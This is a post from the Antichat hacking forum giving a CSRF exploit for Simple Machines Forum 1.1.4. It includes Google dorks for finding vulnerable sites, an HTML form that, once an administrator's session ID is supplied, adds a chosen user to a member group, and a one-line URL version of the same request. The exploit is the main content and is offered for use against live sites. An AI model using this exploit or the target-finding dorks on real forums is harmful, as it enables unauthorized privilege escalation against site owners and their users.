Форум АНТИЧАТ - Показать сообщение отдельно - [Обзор уязвимостей Simple Machines Forum]

SMF 1.1.4 - Add User In Group [CSRF]

Код:

||                     ***************                                   || 
||                   Author: phAnt0mh4ck3r                               || 
||                  *************************                            || 
||                 SMF 1.1.4 - Add User In Group [CSRF]                  || 
|| r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org || 
||   ________________________________________________________________    || 
|_________________________________________________________________________|

Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"

Код:

</html> 
</head> 
<body>                               
<form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post" 
<input type="text" name="toAdd" id="toAdd" size="30" />    
<input type="submit" name="add" value="Add Members" /> 
<input type="hidden" name="sc" value="ADMIN SESSION ID" /> 
</form> 
</body> 
</html>

Or you can use it:

Код:

forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid